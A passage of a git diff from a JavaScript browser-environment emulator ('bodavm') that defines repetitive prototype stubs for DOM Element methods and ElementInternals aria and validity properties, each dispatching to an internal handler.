writable: true, + value: function matches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "matches", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "prepend", { + configurable: true, + enumerable: true, + writable: true, + value: function prepend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prepend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "querySelector", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "querySelectorAll", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelectorAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelectorAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "releasePointerCapture", { + configurable: true, + enumerable: true, + writable: true, + value: function releasePointerCapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "releasePointerCapture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "removeAttributeNode", { + configurable: true, + enumerable: true, + writable: true, + value: function removeAttributeNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "replaceChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceChildren", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "replaceWith", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceWith", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "requestFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function requestFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "requestPointerLock", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPointerLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestPointerLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scroll", { + configurable: true, + enumerable: true, + writable: true, + value: function scroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scroll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollBy", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollBy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollBy", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollIntoView", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollIntoView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoView", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollIntoViewIfNeeded", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollIntoViewIfNeeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoViewIfNeeded", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "scrollTo", { + configurable: true, + enumerable: true, + writable: true, + value: function scrollTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNode", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttributeNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setAttributeNodeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function setAttributeNodeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNodeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setPointerCapture", { + configurable: true, + enumerable: true, + writable: true, + value: function setPointerCapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setPointerCapture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "toggleAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function toggleAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "toggleAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitMatchesSelector", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitMatchesSelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitMatchesSelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitRequestFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitRequestFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "checkVisibility", { + configurable: true, + enumerable: true, + writable: true, + value: function checkVisibility() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "checkVisibility", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function getAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Element', "setHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function setHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setHTML", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ElementInternals.js b/env_xbb_lastest_jsdom/env/ElementInternals.js index 67ec9b49..bb12dec0 100644 --- a/env_xbb_lastest_jsdom/env/ElementInternals.js +++ b/env_xbb_lastest_jsdom/env/ElementInternals.js @@ -1,56 +1,525 @@ -// ElementInternals对象 -bodavm.memory.globalobj['ElementInternals'] = function ElementInternals(){if (!(this instanceof ElementInternals)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ElementInternals'], "ElementInternals"); -bodavm.toolsFunc.defineProperty('ElementInternals', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "states", {configurable:true, enumerable:true, get:function states (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "states_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "shadowRoot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "role", {configurable:true, enumerable:true, get:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_get", arguments)}, set:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAtomic", {configurable:true, enumerable:true, get:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_get", arguments)}, set:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAutoComplete", {configurable:true, enumerable:true, get:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_get", arguments)}, set:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBusy", {configurable:true, enumerable:true, get:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_get", arguments)}, set:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleLabel", {configurable:true, enumerable:true, get:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_get", arguments)}, set:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleRoleDescription", {configurable:true, enumerable:true, get:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_get", arguments)}, set:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaChecked", {configurable:true, enumerable:true, get:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_get", arguments)}, set:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColCount", {configurable:true, enumerable:true, get:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_get", arguments)}, set:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColIndex", {configurable:true, enumerable:true, get:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_get", arguments)}, set:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColSpan", {configurable:true, enumerable:true, get:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_get", arguments)}, set:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaCurrent", {configurable:true, enumerable:true, get:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_get", arguments)}, set:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDescription", {configurable:true, enumerable:true, get:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_get", arguments)}, set:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDisabled", {configurable:true, enumerable:true, get:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_get", arguments)}, set:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaExpanded", {configurable:true, enumerable:true, get:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_get", arguments)}, set:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHasPopup", {configurable:true, enumerable:true, get:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_get", arguments)}, set:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHidden", {configurable:true, enumerable:true, get:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_get", arguments)}, set:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaInvalid", {configurable:true, enumerable:true, get:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_get", arguments)}, set:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaKeyShortcuts", {configurable:true, enumerable:true, get:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_get", arguments)}, set:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLabel", {configurable:true, enumerable:true, get:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_get", arguments)}, set:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLevel", {configurable:true, enumerable:true, get:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_get", arguments)}, set:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLive", {configurable:true, enumerable:true, get:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_get", arguments)}, set:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaModal", {configurable:true, enumerable:true, get:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_get", arguments)}, set:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiLine", {configurable:true, enumerable:true, get:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_get", arguments)}, set:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiSelectable", {configurable:true, enumerable:true, get:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_get", arguments)}, set:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaOrientation", {configurable:true, enumerable:true, get:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_get", arguments)}, set:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPlaceholder", {configurable:true, enumerable:true, get:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_get", arguments)}, set:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPosInSet", {configurable:true, enumerable:true, get:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_get", arguments)}, set:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPressed", {configurable:true, enumerable:true, get:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_get", arguments)}, set:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaReadOnly", {configurable:true, enumerable:true, get:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_get", arguments)}, set:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRelevant", {configurable:true, enumerable:true, get:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_get", arguments)}, set:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRequired", {configurable:true, enumerable:true, get:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_get", arguments)}, set:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRoleDescription", {configurable:true, enumerable:true, get:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_get", arguments)}, set:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowCount", {configurable:true, enumerable:true, get:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_get", arguments)}, set:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowIndex", {configurable:true, enumerable:true, get:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_get", arguments)}, set:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowSpan", {configurable:true, enumerable:true, get:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_get", arguments)}, set:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSelected", {configurable:true, enumerable:true, get:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_get", arguments)}, set:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSetSize", {configurable:true, enumerable:true, get:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_get", arguments)}, set:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSort", {configurable:true, enumerable:true, get:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_get", arguments)}, set:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMax", {configurable:true, enumerable:true, get:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_get", arguments)}, set:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMin", {configurable:true, enumerable:true, get:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_get", arguments)}, set:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueNow", {configurable:true, enumerable:true, get:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_get", arguments)}, set:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueText", {configurable:true, enumerable:true, get:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_get", arguments)}, set:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "setFormValue", {configurable:true, enumerable:true, writable:true, value:function setFormValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setFormValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ElementInternals', "setValidity", {configurable:true, enumerable:true, writable:true, value:function setValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, 